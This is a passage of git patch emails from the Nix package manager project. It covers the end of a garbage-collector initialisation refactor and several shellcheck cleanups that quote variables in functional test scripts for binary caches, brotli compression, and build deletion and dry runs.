-        size_t size = 32 * 1024 * 1024;
-#if HAVE_SYSCONF && defined(_SC_PAGESIZE) && defined(_SC_PHYS_PAGES)
-        size_t maxSize = 384 * 1024 * 1024;
-        long pageSize = sysconf(_SC_PAGESIZE);
-        long pages = sysconf(_SC_PHYS_PAGES);
-        if (pageSize != -1)
-            size = (pageSize * pages) / 4; // 25% of RAM
-        if (size > maxSize) size = maxSize;
-#endif
-        debug("setting initial heap size to %1% bytes", size);
-        GC_expand_hp(size);
-    }
-
-#endif
-
-    gcInitialised = true;
-}
-
 static constexpr size_t BASE_ENV_SIZE = 128;
 
 EvalState::EvalState(
@@ -508,7 +310,7 @@ EvalState::EvalState(
 
     countCalls = getEnv("NIX_COUNT_CALLS").value_or("0") != "0";
 
-    assert(gcInitialised);
+    assertGCInitialized();
 
     static_assert(sizeof(Env) <= 16, "environment must be <= 16 bytes");
 
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index dac763268e4..0e5e0433e90 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -3,6 +3,7 @@
 
 #include "attr-set.hh"
 #include "eval-error.hh"
+#include "eval-gc.hh"
 #include "types.hh"
 #include "value.hh"
 #include "nixexpr.hh"
@@ -146,12 +147,6 @@ std::string printValue(EvalState & state, Value & v);
 std::ostream & operator << (std::ostream & os, const ValueType t);
 
 
-/**
- * Initialise the Boehm GC, if applicable.
- */
-void initGC();
-
-
 struct RegexCache;
 
 std::shared_ptr<RegexCache> makeRegexCache();

From 7738b295e54e385d6ec54c805362403f0df25e41 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:18:42 -0700
Subject: [PATCH 301/528] housekeeping: shellcheck for
 tests/functional/bash-profile.sh

---
 maintainers/flake-module.nix     | 1 -
 tests/functional/bash-profile.sh | 6 +++---
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 3006d5e3080..261da1766e9 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -507,7 +507,6 @@
             ''^scripts/install-nix-from-closure\.sh$''
             ''^scripts/install-systemd-multi-user\.sh$''
             ''^src/nix/get-env\.sh$''
-            ''^tests/functional/bash-profile\.sh$''
             ''^tests/functional/binary-cache-build-remote\.sh$''
             ''^tests/functional/binary-cache\.sh$''
             ''^tests/functional/brotli\.sh$''
diff --git a/tests/functional/bash-profile.sh b/tests/functional/bash-profile.sh
index 6cfa5bd9cd3..4228d4a20e5 100755
--- a/tests/functional/bash-profile.sh
+++ b/tests/functional/bash-profile.sh
@@ -2,10 +2,10 @@
 
 source common.sh
 
-sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../../scripts/nix-profile.sh.in > $TEST_ROOT/nix-profile.sh
+sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../../scripts/nix-profile.sh.in > "$TEST_ROOT"/nix-profile.sh
 
 user=$(whoami)
-rm -rf $TEST_HOME $TEST_ROOT/profile-var
-mkdir -p $TEST_HOME
+rm -rf "$TEST_HOME" "$TEST_ROOT/profile-var"
+mkdir -p "$TEST_HOME"
 USER=$user $SHELL -e -c ". $TEST_ROOT/nix-profile.sh; set"
 USER=$user $SHELL -e -c ". $TEST_ROOT/nix-profile.sh" # test idempotency

From 4a28ba7877f8c35cbf370fc45a1128d25c7ffe5b Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:18:53 -0700
Subject: [PATCH 302/528] housekeeping: shellcheck for
 tests/functional/binary-cache-build-remote.sh

---
 tests/functional/binary-cache-build-remote.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh
index 0303e9410da..4edda85b65e 100755
--- a/tests/functional/binary-cache-build-remote.sh
+++ b/tests/functional/binary-cache-build-remote.sh
@@ -12,7 +12,7 @@ clearCacheCache
 outPath=$(nix-build --store "file://$cacheDir" --builders 'auto - - 1 1' -j0 dependencies.nix)
 
 # Test that the path exactly exists in the destination store.
-nix path-info --store "file://$cacheDir" $outPath
+nix path-info --store "file://$cacheDir" "$outPath"
 
 # Succeeds without any build capability because no-op
 nix-build --store "file://$cacheDir" -j0 dependencies.nix

From aeed835a2ef8421b01d70d8e44a60fdade01eec4 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:39:01 -0700
Subject: [PATCH 303/528] housekeeping: shellcheck for
 tests/functional/binary-cache.sh

Co-authored-by: Sandro <sandro.jaeckel@gmail.com>
---
 tests/functional/binary-cache.sh | 163 ++++++++++++++++---------------
 1 file changed, 85 insertions(+), 78 deletions(-)

diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh
index 54a3687caed..23135359b54 100755
--- a/tests/functional/binary-cache.sh
+++ b/tests/functional/binary-cache.sh
@@ -14,9 +14,9 @@ clearStore
 clearCache
 outPath=$(nix-build dependencies.nix --no-out-link)
 
-nix copy --to file://$cacheDir $outPath
+nix copy --to file://"$cacheDir" "$outPath"
 
-readarray -t paths < <(nix path-info --all --json --store file://$cacheDir | jq 'keys|sort|.[]' -r)
+readarray -t paths < <(nix path-info --all --json --store file://"$cacheDir" | jq 'keys|sort|.[]' -r)
 [[ "${#paths[@]}" -eq 3 ]]
 for path in "${paths[@]}"; do
     [[ "$path" =~ -dependencies-input-0$ ]] \
@@ -25,16 +25,16 @@ for path in "${paths[@]}"; do
 done
 
 # Test copying build logs to the binary cache.
-expect 1 nix log --store file://$cacheDir $outPath 2>&1 | grep 'is not available'
-nix store copy-log --to file://$cacheDir $outPath
-nix log --store file://$cacheDir $outPath | grep FOO
-rm -rf $TEST_ROOT/var/log/nix
-expect 1 nix log $outPath 2>&1 | grep 'is not available'
-nix log --substituters file://$cacheDir $outPath | grep FOO
+expect 1 nix log --store file://"$cacheDir" "$outPath" 2>&1 | grep 'is not available'
+nix store copy-log --to file://"$cacheDir" "$outPath"
+nix log --store file://"$cacheDir" "$outPath" | grep FOO
+rm -rf "$TEST_ROOT/var/log/nix"
+expect 1 nix log "$outPath" 2>&1 | grep 'is not available'
+nix log --substituters file://"$cacheDir" "$outPath" | grep FOO
 
 # Test copying build logs from the binary cache.
-nix store copy-log --from file://$cacheDir $(nix-store -qd $outPath)^'*'
-nix log $outPath | grep FOO
+nix store copy-log --from file://"$cacheDir" "$(nix-store -qd "$outPath")"^'*'
+nix log "$outPath" | grep FOO
 
 basicDownloadTests() {
     # No uploading tests bcause upload with force HTTP doesn't work.
@@ -46,15 +46,15 @@ basicDownloadTests() {
 
     nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "---"
 
-    nix-store --substituters "file://$cacheDir" --no-require-sigs -r $outPath
+    nix-store --substituters "file://$cacheDir" --no-require-sigs -r "$outPath"
 
-    [ -x $outPath/program ]
+    [ -x "$outPath/program" ]
 
 
     # But with the right configuration, "nix-env -qas" should also work.
     clearStore
     clearCacheCache
-    echo "WantMassQuery: 1" >> $cacheDir/nix-cache-info
+    echo "WantMassQuery: 1" >> "$cacheDir/nix-cache-info"
 
     nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "--S"
     nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "--S"
@@ -62,12 +62,12 @@ basicDownloadTests() {
     x=$(nix-env -f dependencies.nix -qas \* --prebuilt-only)
     [ -z "$x" ]
 
-    nix-store --substituters "file://$cacheDir" --no-require-sigs -r $outPath
+    nix-store --substituters "file://$cacheDir" --no-require-sigs -r "$outPath"
 
-    nix-store --check-validity $outPath
-    nix-store -qR $outPath | grep input-2
+    nix-store --check-validity "$outPath"
+    nix-store -qR "$outPath" | grep input-2
 
-    echo "WantMassQuery: 0" >> $cacheDir/nix-cache-info
+    echo "WantMassQuery: 0" >> "$cacheDir/nix-cache-info"
 }
 
 
@@ -83,22 +83,22 @@ basicDownloadTests
 # Test whether Nix notices if the NAR doesn't match the hash in the NAR info.
 clearStore
 
-nar=$(ls $cacheDir/nar/*.nar.xz | head -n1)
-mv $nar $nar.good
-mkdir -p $TEST_ROOT/empty
-nix-store --dump $TEST_ROOT/empty | xz > $nar
+nar=$(find "$cacheDir/nar/" -type f -name "*.nar.xz" | head -n1)
+mv "$nar" "$nar".good
+mkdir -p "$TEST_ROOT/empty"
+nix-store --dump "$TEST_ROOT/empty" | xz > "$nar"
 
-expect 1 nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
-grepQuiet "hash mismatch" $TEST_ROOT/log
+expect 1 nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log"
+grepQuiet "hash mismatch" "$TEST_ROOT/log"
 
-mv $nar.good $nar
+mv "$nar".good "$nar"
 
 
 # Test whether this unsigned cache is rejected if the user requires signed caches.
 clearStore
 clearCacheCache
 
-if nix-store --substituters "file://$cacheDir" -r $outPath; then
+if nix-store --substituters "file://$cacheDir" -r "$outPath"; then
     echo "unsigned binary cache incorrectly accepted"
     exit 1
 fi
@@ -107,131 +107,134 @@ fi
 # Test whether fallback works if a NAR has disappeared. This does not require --fallback.
 clearStore
 
-mv $cacheDir/nar $cacheDir/nar2
+mv "$cacheDir/nar" "$cacheDir/nar2"
 
-nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result
+nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result"
 
-mv $cacheDir/nar2 $cacheDir/nar
+mv "$cacheDir/nar2" "$cacheDir/nar"
 
 
 # Test whether fallback works if a NAR is corrupted. This does require --fallback.
 clearStore
 
-mv $cacheDir/nar $cacheDir/nar2
-mkdir $cacheDir/nar
-for i in $(cd $cacheDir/nar2 && echo *); do touch $cacheDir/nar/$i; done
+mv "$cacheDir/nar" "$cacheDir/nar2"
+mkdir "$cacheDir/nar"
+for i in $(cd "$cacheDir/nar2" && echo *); do touch "$cacheDir"/nar/"$i"; done
 
-(! nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result)
+(! nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result")
 
-nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result --fallback
+nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" --fallback
 
-rm -rf $cacheDir/nar
-mv $cacheDir/nar2 $cacheDir/nar
+rm -rf "$cacheDir/nar"
+mv "$cacheDir/nar2" "$cacheDir/nar"
 
 
 # Test whether building works if the binary cache contains an
 # incomplete closure.
 clearStore
 
-rm -v $(grep -l "StorePath:.*dependencies-input-2" $cacheDir/*.narinfo)
+rm -v "$(grep -l "StorePath:.*dependencies-input-2" "$cacheDir"/*.narinfo)"
 
-nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
-grepQuiet "copying path.*input-0" $TEST_ROOT/log
-grepQuiet "copying path.*input-2" $TEST_ROOT/log
-grepQuiet "copying path.*top" $TEST_ROOT/log
+nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log"
+grepQuiet "copying path.*input-0" "$TEST_ROOT/log"
+grepQuiet "copying path.*input-2" "$TEST_ROOT/log"
+grepQuiet "copying path.*top" "$TEST_ROOT/log"
 
 
 # Idem, but without cached .narinfo.
 clearStore
 clearCacheCache
 
-nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log
-grepQuiet "don't know how to build" $TEST_ROOT/log
-grepQuiet "building.*input-1" $TEST_ROOT/log
-grepQuiet "building.*input-2" $TEST_ROOT/log
-grepQuiet "copying path.*input-0" $TEST_ROOT/log
-grepQuiet "copying path.*top" $TEST_ROOT/log
+nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log"
+grepQuiet "don't know how to build" "$TEST_ROOT/log"
+grepQuiet "building.*input-1" "$TEST_ROOT/log"
+grepQuiet "building.*input-2" "$TEST_ROOT/log"
+grepQuiet "copying path.*input-0" "$TEST_ROOT/log"
+grepQuiet "copying path.*top" "$TEST_ROOT/log"
 
 
 # Create a signed binary cache.
 clearCache
 clearCacheCache
 
-nix key generate-secret --key-name test.nixos.org-1 > $TEST_ROOT/sk1
-publicKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk1)
+nix key generate-secret --key-name test.nixos.org-1 > "$TEST_ROOT/sk1"
+publicKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk1")
 
-nix key generate-secret --key-name test.nixos.org-1 > $TEST_ROOT/sk2
-badKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk2)
+nix key generate-secret --key-name test.nixos.org-1 > "$TEST_ROOT/sk2"
+badKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk2")
 
-nix key generate-secret --key-name foo.nixos.org-1 > $TEST_ROOT/sk3
-otherKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk3)
+nix key generate-secret --key-name foo.nixos.org-1 > "$TEST_ROOT/sk3"
+otherKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk3")
 
-_NIX_FORCE_HTTP= nix copy --to file://$cacheDir?secret-key=$TEST_ROOT/sk1 $outPath
+_NIX_FORCE_HTTP='' nix copy --to file://"$cacheDir"?secret-key="$TEST_ROOT"/sk1 "$outPath"
 
 
 # Downloading should fail if we don't provide a key.
 clearStore
 clearCacheCache
 
-(! nix-store -r $outPath --substituters "file://$cacheDir")
+(! nix-store -r "$outPath" --substituters "file://$cacheDir")
 
 
 # And it should fail if we provide an incorrect key.
 clearStore
 clearCacheCache
 
-(! nix-store -r $outPath --substituters "file://$cacheDir" --trusted-public-keys "$badKey")
+(! nix-store -r "$outPath" --substituters "file://$cacheDir" --trusted-public-keys "$badKey")
 
 
 # It should succeed if we provide the correct key.
-nix-store -r $outPath --substituters "file://$cacheDir" --trusted-public-keys "$otherKey $publicKey"
+nix-store -r "$outPath" --substituters "file://$cacheDir" --trusted-public-keys "$otherKey $publicKey"
 
 
 # It should fail if we corrupt the .narinfo.
 clearStore
 
 cacheDir2=$TEST_ROOT/binary-cache-2
-rm -rf $cacheDir2
-cp -r $cacheDir $cacheDir2
+rm -rf "$cacheDir2"
+cp -r "$cacheDir" "$cacheDir2"
 
-for i in $cacheDir2/*.narinfo; do
-    grep -v References $i > $i.tmp
-    mv $i.tmp $i
+for i in "$cacheDir2"/*.narinfo; do
+    grep -v References "$i" > "$i".tmp
+    mv "$i".tmp "$i"
 done
 
 clearCacheCache
 
-(! nix-store -r $outPath --substituters "file://$cacheDir2" --trusted-public-keys "$publicKey")
+(! nix-store -r "$outPath" --substituters "file://$cacheDir2" --trusted-public-keys "$publicKey")
 
 # If we provide a bad and a good binary cache, it should succeed.
 
-nix-store -r $outPath --substituters "file://$cacheDir2 file://$cacheDir" --trusted-public-keys "$publicKey"
+nix-store -r "$outPath" --substituters "file://$cacheDir2 file://$cacheDir" --trusted-public-keys "$publicKey"
 
 
 unset _NIX_FORCE_HTTP
 
 
 # Test 'nix verify --all' on a binary cache.
-nix store verify -vvvvv --all --store file://$cacheDir --no-trust
+nix store verify -vvvvv --all --store file://"$cacheDir" --no-trust
 
 
 # Test local NAR caching.
 narCache=$TEST_ROOT/nar-cache
-rm -rf $narCache
-mkdir $narCache
+rm -rf "$narCache"
+mkdir "$narCache"
 
-[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" $outPath/foobar) = FOOBAR ]]
+[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]]
 
 rm -rfv "$cacheDir/nar"
 
-[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" $outPath/foobar) = FOOBAR ]]
+[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]]
 
-(! nix store cat --store file://$cacheDir $outPath/foobar)
+(! nix store cat --store file://"$cacheDir" "$outPath/foobar")
 
 
 # Test NAR listing generation.
 clearCache
 
+
+# preserve quotes variables in the single-quoted string
+# shellcheck disable=SC2016
 outPath=$(nix-build --no-out-link -E '
   with import ./config.nix;
   mkDerivation {
@@ -240,16 +243,18 @@ outPath=$(nix-build --no-out-link -E '
   }
 ')
 
-nix copy --to file://$cacheDir?write-nar-listing=1 $outPath
+nix copy --to file://"$cacheDir"?write-nar-listing=1 "$outPath"
 
 diff -u \
-    <(jq -S < $cacheDir/$(basename $outPath | cut -c1-32).ls) \
+    <(jq -S < "$cacheDir/$(basename "$outPath" | cut -c1-32).ls") \
     <(echo '{"version":1,"root":{"type":"directory","entries":{"bar":{"type":"regular","size":4,"narOffset":232},"link":{"type":"symlink","target":"xyzzy"}}}}' | jq -S)
 
 
 # Test debug info index generation.
 clearCache
 
+# preserve quotes variables in the single-quoted string
+# shellcheck disable=SC2016
 outPath=$(nix-build --no-out-link -E '
   with import ./config.nix;
   mkDerivation {
@@ -258,14 +263,16 @@ outPath=$(nix-build --no-out-link -E '
   }
 ')
 
-nix copy --to "file://$cacheDir?index-debug-info=1&compression=none" $outPath
+nix copy --to "file://$cacheDir?index-debug-info=1&compression=none" "$outPath"
 
 diff -u \
-    <(cat $cacheDir/debuginfo/02623eda209c26a59b1a8638ff7752f6b945c26b.debug | jq -S) \
+    <(jq -S < "$cacheDir"/debuginfo/02623eda209c26a59b1a8638ff7752f6b945c26b.debug) \
     <(echo '{"archive":"../nar/100vxs724qr46phz8m24iswmg9p3785hsyagz0kchf6q6gf06sw6.nar","member":"lib/debug/.build-id/02/623eda209c26a59b1a8638ff7752f6b945c26b.debug"}' | jq -S)
 
 # Test against issue https://github.com/NixOS/nix/issues/3964
-#
+
+# preserve quotes variables in the single-quoted string
+# shellcheck disable=SC2016
 expr='
   with import ./config.nix;
   mkDerivation {
@@ -275,22 +282,22 @@ expr='
   }
 '
 outPath=$(nix-build --no-out-link -E "$expr")
-docPath=$(nix-store -q --references $outPath)
+docPath=$(nix-store -q --references "$outPath")
 
 # $ nix-store -q --tree $outPath
 # ...-multi-output
 # +---...-multi-output-doc
 
-nix copy --to "file://$cacheDir" $outPath
+nix copy --to "file://$cacheDir" "$outPath"
 
 hashpart() {
   basename "$1" | cut -c1-32
 }
 
 # break the closure of out by removing doc
-rm $cacheDir/$(hashpart $docPath).narinfo
+rm "$cacheDir/$(hashpart "$docPath")".narinfo
 
-nix-store --delete $outPath $docPath
+nix-store --delete "$outPath" "$docPath"
 # -vvv is the level that logs during the loop
 timeout 60 nix-build --no-out-link -E "$expr" --option substituters "file://$cacheDir" \
   --option trusted-binary-caches "file://$cacheDir"  --no-require-sigs

From 7186c68f75530f9590c8b6e7c14dd10d1bf6ad81 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:47:35 -0700
Subject: [PATCH 304/528] housekeeping: shellcheck for
 tests/functional/brotli.sh

Co-authored-by: Sandro <sandro.jaeckel@gmail.com>
---
 tests/functional/brotli.sh | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/tests/functional/brotli.sh b/tests/functional/brotli.sh
index 02a2a08756d..672e771c22a 100755
--- a/tests/functional/brotli.sh
+++ b/tests/functional/brotli.sh
@@ -9,15 +9,15 @@ cacheURI="file://$cacheDir?compression=br"
 
 outPath=$(nix-build dependencies.nix --no-out-link)
 
-nix copy --to $cacheURI $outPath
+nix copy --to "$cacheURI" "$outPath"
 
-HASH=$(nix hash path $outPath)
+HASH=$(nix hash path "$outPath")
 
 clearStore
 clearCacheCache
 
-nix copy --from $cacheURI $outPath --no-check-sigs
+nix copy --from "$cacheURI" "$outPath" --no-check-sigs
 
-HASH2=$(nix hash path $outPath)
+HASH2=$(nix hash path "$outPath")
 
-[[ $HASH = $HASH2 ]]
+[[ $HASH == "$HASH2" ]]

From f615489e0edd5113979d8506a8d0d8b54d5b8217 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:47:41 -0700
Subject: [PATCH 305/528] housekeeping: shellcheck for
 tests/functional/build-delete.sh

---
 tests/functional/build-delete.sh | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh
index 2ef3008f6d7..59cf95bd2ec 100755
--- a/tests/functional/build-delete.sh
+++ b/tests/functional/build-delete.sh
@@ -6,25 +6,25 @@ clearStore
 
 # https://github.com/NixOS/nix/issues/6572
 issue_6572_independent_outputs() {
-    nix build -f multiple-outputs.nix --json independent --no-link > $TEST_ROOT/independent.json
+    nix build -f multiple-outputs.nix --json independent --no-link > "$TEST_ROOT"/independent.json
 
     # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation.
     p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths)
     nix-store --delete "$p" # Clean up for next test
 
     # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present.
-    nix-store --delete "$(jq -r <$TEST_ROOT/independent.json .[0].outputs.first)"
+    nix-store --delete "$(jq -r <"$TEST_ROOT"/independent.json .[0].outputs.first)"
     p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths)
-    cmp $p <<EOF
+    cmp "$p" <<EOF
 first
 second
 EOF
     nix-store --delete "$p" # Clean up for next test
 
     # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present.
-    nix-store --delete "$(jq -r <$TEST_ROOT/independent.json .[0].outputs.second)"
+    nix-store --delete "$(jq -r <"$TEST_ROOT"/independent.json .[0].outputs.second)"
     p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths)
-    cmp $p <<EOF
+    cmp "$p" <<EOF
 first
 second
 EOF
@@ -36,16 +36,16 @@ issue_6572_independent_outputs
 # https://github.com/NixOS/nix/issues/6572
 issue_6572_dependent_outputs() {
 
-    nix build -f multiple-outputs.nix --json a --no-link > $TEST_ROOT/a.json
+    nix build -f multiple-outputs.nix --json a --no-link > "$TEST_ROOT"/a.json
 
     # # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation.
     p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths)
     nix-store --delete "$p" # Clean up for next test
 
     # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present.
-    nix-store --delete "$(jq -r <$TEST_ROOT/a.json .[0].outputs.second)"
+    nix-store --delete "$(jq -r <"$TEST_ROOT"/a.json .[0].outputs.second)"
     p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths)
-    cmp $p <<EOF
+    cmp "$p" <<EOF
 first
 second
 EOF

From c1276250957c5f1ae3b13c7132d4a97076bac5e2 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:47:43 -0700
Subject: [PATCH 306/528] housekeeping: shellcheck for
 tests/functional/build-dry.sh

---
 tests/functional/build-dry.sh | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/tests/functional/build-dry.sh b/tests/functional/build-dry.sh
index 9336cf745b4..dca5888a678 100755
--- a/tests/functional/build-dry.sh
+++ b/tests/functional/build-dry.sh
@@ -35,17 +35,17 @@ clearStore
 clearCache
 
 RESULT=$TEST_ROOT/result-link
-rm -f $RESULT
+rm -f "$RESULT"
 
-nix-build dependencies.nix -o $RESULT --dry-run
+nix-build dependencies.nix -o "$RESULT" --dry-run
 
 [[ ! -h $RESULT ]] || fail "nix-build --dry-run created output link"
 
-nix build -f dependencies.nix -o $RESULT --dry-run
+nix build -f dependencies.nix -o "$RESULT" --dry-run
 
 [[ ! -h $RESULT ]] || fail "nix build --dry-run created output link"
 
-nix build -f dependencies.nix -o $RESULT
+nix build -f dependencies.nix -o "$RESULT"
 
 [[ -h $RESULT ]]
 
@@ -58,12 +58,12 @@ RES=$(nix build -f dependencies.nix --dry-run --json)
 
 if [[ -z "${NIX_TESTS_CA_BY_DEFAULT-}" ]]; then
     echo "$RES" | jq '.[0] | [
-        (.drvPath | test("'$NIX_STORE_DIR'.*\\.drv")),
-        (.outputs.out | test("'$NIX_STORE_DIR'"))
+        (.drvPath | test("'"$NIX_STORE_DIR"'.*\\.drv")),
+        (.outputs.out | test("'"$NIX_STORE_DIR"'"))
     ] | all'
 else
     echo "$RES" | jq '.[0] | [
-        (.drvPath | test("'$NIX_STORE_DIR'.*\\.drv")),
+        (.drvPath | test("'"$NIX_STORE_DIR"'.*\\.drv")),
         .outputs.out == null
     ] | all'
 fi

From 80c44138cb62f41f6b198d8a3a317a650f11f64e Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:50:30 -0700
Subject: [PATCH 307/528] housekeeping: shellcheck for
 tests/functional/ca/build-cache.sh

Co-authored-by: Sandro <sandro.jaeckel@gmail.com>
---
 .shellcheckrc                      |  2 ++
 tests/functional/binary-cache.sh   | 22 +++++++++++-----------
 tests/functional/ca/build-cache.sh |  7 ++++---
 3 files changed, 17 insertions(+), 14 deletions(-)

diff --git a/.shellcheckrc b/.shellcheckrc
index 662e2045c0d..de98055f719 100644
--- a/.shellcheckrc
+++ b/.shellcheckrc
@@ -1,2 +1,4 @@
 external-sources=true
 source-path=SCRIPTDIR
+# Hack for scripts in e.g. tests/functional/ca
+source-path=SCRIPTDIR/..
diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh
index 23135359b54..5ef6d89d4aa 100755
--- a/tests/functional/binary-cache.sh
+++ b/tests/functional/binary-cache.sh
@@ -14,9 +14,9 @@ clearStore
 clearCache
 outPath=$(nix-build dependencies.nix --no-out-link)
 
-nix copy --to file://"$cacheDir" "$outPath"
+nix copy --to "file://$cacheDir" "$outPath"
 
-readarray -t paths < <(nix path-info --all --json --store file://"$cacheDir" | jq 'keys|sort|.[]' -r)
+readarray -t paths < <(nix path-info --all --json --store "file://$cacheDir" | jq 'keys|sort|.[]' -r)
 [[ "${#paths[@]}" -eq 3 ]]
 for path in "${paths[@]}"; do
     [[ "$path" =~ -dependencies-input-0$ ]] \
@@ -25,15 +25,15 @@ for path in "${paths[@]}"; do
 done
 
 # Test copying build logs to the binary cache.
-expect 1 nix log --store file://"$cacheDir" "$outPath" 2>&1 | grep 'is not available'
-nix store copy-log --to file://"$cacheDir" "$outPath"
-nix log --store file://"$cacheDir" "$outPath" | grep FOO
+expect 1 nix log --store "file://$cacheDir" "$outPath" 2>&1 | grep 'is not available'
+nix store copy-log --to "file://$cacheDir" "$outPath"
+nix log --store "file://$cacheDir" "$outPath" | grep FOO
 rm -rf "$TEST_ROOT/var/log/nix"
 expect 1 nix log "$outPath" 2>&1 | grep 'is not available'
-nix log --substituters file://"$cacheDir" "$outPath" | grep FOO
+nix log --substituters "file://$cacheDir" "$outPath" | grep FOO
 
 # Test copying build logs from the binary cache.
-nix store copy-log --from file://"$cacheDir" "$(nix-store -qd "$outPath")"^'*'
+nix store copy-log --from "file://$cacheDir" "$(nix-store -qd "$outPath")"^'*'
 nix log "$outPath" | grep FOO
 
 basicDownloadTests() {
@@ -166,7 +166,7 @@ badKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk2")
 nix key generate-secret --key-name foo.nixos.org-1 > "$TEST_ROOT/sk3"
 otherKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk3")
 
-_NIX_FORCE_HTTP='' nix copy --to file://"$cacheDir"?secret-key="$TEST_ROOT"/sk1 "$outPath"
+_NIX_FORCE_HTTP='' nix copy --to "file://$cacheDir"?secret-key="$TEST_ROOT"/sk1 "$outPath"
 
 
 # Downloading should fail if we don't provide a key.
@@ -212,7 +212,7 @@ unset _NIX_FORCE_HTTP
 
 
 # Test 'nix verify --all' on a binary cache.
-nix store verify -vvvvv --all --store file://"$cacheDir" --no-trust
+nix store verify -vvvvv --all --store "file://$cacheDir" --no-trust
 
 
 # Test local NAR caching.
@@ -226,7 +226,7 @@ rm -rfv "$cacheDir/nar"
 
 [[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]]
 
-(! nix store cat --store file://"$cacheDir" "$outPath/foobar")
+(! nix store cat --store "file://$cacheDir" "$outPath/foobar")
 
 
 # Test NAR listing generation.
@@ -243,7 +243,7 @@ outPath=$(nix-build --no-out-link -E '
   }
 ')
 
-nix copy --to file://"$cacheDir"?write-nar-listing=1 "$outPath"
+nix copy --to "file://$cacheDir"?write-nar-listing=1 "$outPath"
 
 diff -u \
     <(jq -S < "$cacheDir/$(basename "$outPath" | cut -c1-32).ls") \
diff --git a/tests/functional/ca/build-cache.sh b/tests/functional/ca/build-cache.sh
index 6a4080fecf5..5cc71823ee6 100644
--- a/tests/functional/ca/build-cache.sh
+++ b/tests/functional/ca/build-cache.sh
@@ -26,7 +26,8 @@ copyAttr () {
     # Note: to copy CA derivations, we need to copy the realisations, which
     # currently requires naming the installables, not just the derivation output
     # path.
-    nix copy --to file://$cacheDir "${args[@]}"
+
